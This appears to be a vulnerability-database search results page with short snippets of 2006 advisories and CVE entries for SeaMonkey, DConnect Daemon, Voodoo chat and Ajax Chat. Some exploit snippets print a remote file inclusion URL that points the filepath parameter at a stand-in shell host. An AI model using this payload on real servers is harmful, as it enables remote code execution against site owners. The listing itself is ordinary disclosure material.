9419 matches found
CentOS 4 : seamonkey (CESA-2006:0609)
Updated SeaMonkey packages that fix several security bugs in the mozilla package are now available for Red Hat Enterprise Linux 4. This update has been rated as having critical security impact by the Red Hat Security Response Team. SeaMonkey is an open source Web browser, advanced email and...
DConnect Daemon chat server multiple security vulnerabilities
DoS conditions, format string vulnerabilities...
CVE-2006-3991
PHP remote file inclusion vulnerability in index.php in Vlad Vostrykh Voodoo chat 1.0RC1b and earlier allows remote attackers to execute arbitrary PHP code via a URL in the filepath parameter...
CVE-2006-3991: Undefined Security Weakness
PHP remote file inclusion vulnerability in index.php in Vlad Vostrykh Voodoo chat 1.0RC1b and earlier allows remote attackers to execute arbitrary PHP code via a URL in the filepath parameter...
CVE-2006-3991
CVE-2006-3991 is a PHP remote file inclusion vulnerability affecting Vlad Vostrykh Voodoo chat 1.0RC1b and earlier, allowing a remote attacker to execute arbitrary PHP code via the file_path parameter in index.php. The root cause is unvalidated user input in the file_path parameter leading to rem...
CVE-2006-3991
PHP remote file inclusion vulnerability in index.php in Vlad Vostrykh Voodoo chat 1.0RC1b and earlier allows remote attackers to execute arbitrary PHP code via a URL in the filepath parameter...
CVE-2006-3972
Directory traversal vulnerability in includes/operatorchattranscript.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to read arbitrary files via a .. dot dot in the chatid parameter...
CVE-2006-3971
Cross-site scripting XSS vulnerability in visitor/livesupport/chat.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to inject arbitrary web script or HTML via the userid parameter...
CVE-2006-3972
The CVE-2006-3972 entry concerns the Scott Weedon Ajax Chat component (likely version 0.1) where a directory traversal flaw exists in includes/operator_chattranscript.php. An attacker can supply '..' in the chatid parameter to read arbitrary files, enabling partial confidentiality impact. The NVD...
CVE-2006-3971
Cross-site scripting XSS vulnerability in visitor/livesupport/chat.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to inject arbitrary web script or HTML via the userid parameter...
CVE-2006-3971
The CVE-2006-3971 entry describes a Cross-site scripting (XSS) vulnerability in Scott Weedon Ajax Chat, specifically in visitor/livesupport/chat.php, exploitable via the userid parameter. The vulnerability permits remote attackers to inject arbitrary web script/HTML. The NVD listing assigns a CVS...
CVE-2006-3971: Undefined Security Weakness
Cross-site scripting XSS vulnerability in visitor/livesupport/chat.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to inject arbitrary web script or HTML via the userid parameter...
CVE-2006-3972: Undefined Security Weakness
Directory traversal vulnerability in includes/operatorchattranscript.php in Scott Weedon Ajax Chat, possibly 0.1, allows remote attackers to read arbitrary files via a .. dot dot in the chatid parameter...
[Full-disclosure] Ajax Chat Multiple Vulnerabilities
Discovered by Sirdarckcat from elhacker.net Ajax Chat http://www.pcdiscs.co.uk/chat/ ============================================== Ajax Chat is a web script for making an online chat based on PHP and AJAX. This has a Remote File Disclosure and a XSS bug...
Voodoo chat 1.0RC1b - file_path Remote File Inclusion
Voodoo chat 1.0RC1b - filepath Remote File Inclusion ================================================================= Voodoo chat 1.0RC1b ================================================================= Exploit : -------------------------------- http://sitename.com/Script...
Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability
Exploit for unknown platform in category web applications ====================================================================== Voodoo chat ================================================================= Exploit : -------------------------------- http://sitename.com/Script...
Voodoo chat <= 1.0RC1b (file_path) Remote File Inclusion Vulnerability
No description provided by source. ================================================================= Voodoo chat 1.0RC1b = filepath Remote File Inclusion Exploit ================================================================ | Critical Level : Dangerous | | Venedor site : http://vochat.com/ | |...
Voodoo chat 1.0RC1b - 'file_path' Remote File Inclusion
================================================================= Voodoo chat 1.0RC1b ================================================================= Exploit : -------------------------------- http://sitename.com/Script Path/index.php?filepath=http://SHELLURL.COM?...
Ajax Chat 0.1 - operator_chattranscript.php?chatid Traversal Arbitrary File Access
Ajax Chat 0.1 - operatorchattranscript.php?chatid Traversal Arbitrary File Access source: https://www.securityfocus.com/bid/19238/info AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input...
Ajax Chat 0.1 - 'operator_chattranscript.php?chatid' Traversal Arbitrary File Access
source: https://www.securityfocus.com/bid/19238/info AJAX Chat is prone to both a directory-traversal vulnerability and a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit the directory-traversal issue to retrieve arbitrary files...